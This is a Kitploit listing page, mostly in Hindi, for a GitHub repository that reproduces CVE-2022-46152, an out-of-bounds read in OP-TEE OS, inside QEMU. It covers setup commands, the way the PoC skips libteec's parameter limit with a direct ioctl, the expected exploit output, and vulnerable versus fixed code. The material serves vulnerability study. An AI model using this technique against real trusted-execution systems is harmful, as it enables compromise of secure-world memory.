Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-46152 — CVE-2022-46152: `cleanup_shm_refs` फ़ंक्शन में ऐरे इंडेक्स का अनुचित सत्यापन। | Kitploit
उपकरण/GitHubGitHub/0xbbdd/cve-2022-46152
एम्बेडेड सिस्टम सुरक्षाभेद्यता विश्लेषणशोषणफज़िंगCTFलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: `cleanup_shm_refs` फ़ंक्शन में ऐरे इंडेक्स का अनुचित सत्यापन।

रिपॉजिटरी देखें
136 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() आउट-ऑफ़-बाउंड्स रीड — पुनरुत्पादन वातावरण

संदर्भ: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
सुरक्षा सलाहकार: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


भेद्यता अवलोकन

क्षेत्रविवरण
भेद्यताcleanup_shm_refs() num_params को मान्य नहीं करता (सैद्धांतिक रूप से 127 तक; व्यवहार में Linux TEE ioctl TEE_MAX_ARG_SIZE=1024 द्वारा 31 तक सीमित), जबकि saved_attr[] में केवल 4 तत्व हैं
प्रभावित संस्करणOP-TEE OS < 3.19.0
ट्रिगर शर्तसामान्य विश्व libteec की 4-पैरामीटर सीमा को दरकिनार करते हुए सीधे ioctl के माध्यम से num_params=31 के साथ INVOKE अनुरोध भेजता है
प्रभावसुरक्षित विश्व स्टैक डेटा का आउट-ऑफ़-बाउंड्स पठन; यदि स्टैक का कोई अवशिष्ट मान TMEM प्रकार से मेल खाता है, तो Use-After-Free ट्रिगर होता है
सुधारcleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (कमिट 728616b)

निर्देशिका संरचना

CVE-2022-46152/
├── README.md                           # यह फ़ाइल (अंग्रेज़ी)
├── README.zh.md                        # चीनी संस्करण
├── setup.sh                            # एक-कमांड वातावरण सेटअप
├── run_qemu.sh                         # QEMU लॉन्च करें
├── exploit.sh                          # स्वचालित/मैन्युअल पुनरुत्पादन स्क्रिप्ट
├── cve-2022-46152-oob-emsg.patch       # OP-TEE OS डिबग पैच (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU पैच (pflash_write शोर लॉग दबाएं)
├── poc/
│   ├── cve_2022_46152.c               # PoC एक्सप्लॉइट स्रोत (libteec को बायपास करने वाला सीधा ioctl)
│   └── Makefile                       # क्रॉस-कंपाइलेशन Makefile
├── docs/
│   └── vulnerability_analysis.md      # विस्तृत तकनीकी भेद्यता विश्लेषण
└── optee/                             # OP-TEE वातावरण (setup.sh द्वारा बनाया गया)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (असुरक्षित संस्करण)
    ├── build/                         # बिल्ड सिस्टम (qemu_v8.mk)
    ├── linux/                         # लिनक्स कर्नेल
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (स्रोत)
    └── out/bin/                       # बिल्ड आर्टिफैक्ट्स
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # लिनक्स कर्नेल इमेज
        └── rootfs.cpio.gz             # PoC युक्त rootfs

त्वरित आरंभ

1. पूर्वापेक्षाएँ

# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Verify
aarch64-linux-gnu-gcc --version
repo --version

2. रेपो प्रारंभ करें (आधिकारिक दस्तावेज़ के अनुसार)

cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

नोट: 3.18.0 टैग का उपयोग करें। इस संस्करण में CVE-2022-46152 भेद्यता है और इसमें अभी तक सुधार लागू नहीं किया गया है।

3. एक-कमांड सेटअप और बिल्ड (30–60 मिनट)

./setup.sh

यह स्क्रिप्ट:

  • सभी स्रोत कोड प्राप्त करने के लिए repo sync चलाएगी
  • टूलचेन कॉन्फ़िगर करेगी (यदि optee/toolchains/ पहले से मौजूद है तो डाउनलोड छोड़ देगी, अन्यथा स्वचालित रूप से डाउनलोड करेगी)
  • TF-A, OP-TEE OS 3.18.0, Linux और Buildroot बनाने के लिए make all चलाएगी
  • PoC एक्सप्लॉइट को क्रॉस-कंपाइल करेगी और इसे rootfs में इंजेक्ट करेगी

4. QEMU वातावरण लॉन्च करें

# तीन टर्मिनल खोलें:

# टर्मिनल 1 — QEMU प्रारंभ करें:
./run_qemu.sh --no-gdb

# टर्मिनल 2 — सामान्य विश्व कंसोल (run_qemu.sh शुरू होने के बाद चलाएँ):
python3 optee/build/soc_term.py 54320

# टर्मिनल 3 — सुरक्षित विश्व (OP-TEE लॉग, run_qemu.sh शुरू होने के बाद चलाएँ):
python3 optee/build/soc_term.py 54321

नोट: run_qemu.sh आंतरिक रूप से soc_term.py को सर्वर मोड में शुरू करता है जो 54320/54321 पर सुनता है, QEMU एक क्लाइंट के रूप में कनेक्ट होता है। ऊपर दिए गए कमांड एक चल रहे इंस्टेंस से कनेक्ट करने के उदाहरण हैं और आमतौर पर मैन्युअल रूप से चलाने की आवश्यकता नहीं होती है।

5. भेद्यता को पुनरुत्पादित करें

# सामान्य विश्व टर्मिनल (54320) में, लॉगिन प्रॉम्प्ट दिखाई देने के बाद:
(none) login: root

# PoC चलाएँ
/root/cve_2022_46152

अपेक्षित आउटपुट

सामान्य विश्व (Linux कंसोल)

=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

नोट: TEE_MAX_ARG_SIZE=1024 एकल ioctl को अधिकतम 31 पैरामीटर तक सीमित करता है (libteec 4 पर कैप करता है)। फिर भी, num_params=31 OOB ट्रिगर करने के लिए पर्याप्त है ( saved_attr[4..30] पढ़ता है, 27 तत्व सीमा से बाहर)।

सुरक्षित विश्व (OP-TEE TEE Core लॉग)

I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

चेतावनी पंक्ति E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! entry_std.c में cve-2022-46152-oob-emsg.patch पैच के माध्यम से जोड़ा गया एक स्पष्ट लॉग है, जो भेद्यता ट्रिगर पथ की पुष्टि करता है। cleanup_shm_refs स्टैक से 27 अतिरिक्त तत्व सीमा से बाहर पढ़ता है; यदि कोई अवशिष्ट स्टैक मान TMEM प्रकार से मेल खाता है, तो mobj_put() Use-After-Free ट्रिगर किया जा सकता है।


असुरक्षित बनाम सुधारित कोड

असुरक्षित संस्करण (3.18.0)

/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* only 4 slots! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ BUG: num_params can be 127, OOB read of saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

सुधारित संस्करण (3.19.0, कमिट 728616b)

    if (res != TEE_SUCCESS) {
        /* ✅ FIX: MIN(4, 127) = 4, no longer out of bounds */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

त्वरित कमांड संदर्भ

# Set up the environment
./setup.sh

# Start QEMU (with GDB debug port)
./run_qemu.sh

# Start QEMU (without waiting for GDB)
./run_qemu.sh --no-gdb

# Show manual reproduction steps
./exploit.sh --manual

# Automated reproduction (no extra terminals needed, output to current shell)
./exploit.sh

# Connect to Normal World console (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54320

# Connect to Secure World log (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54321

# Debug OP-TEE OS with GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

QEMU पैच नोट्स

यह रिपॉजिटरी QEMU v7.0.0 के ऊपर पैच qemu-pflash-suppress-unimp-log.patch लागू करती है ताकि VM चलाते समय निम्नलिखित शोर आउटपुट को समाप्त किया जा सके:

pflash_write: Write to buffer emulation is flawed

मूल कारण

टूल डाउनलोड करें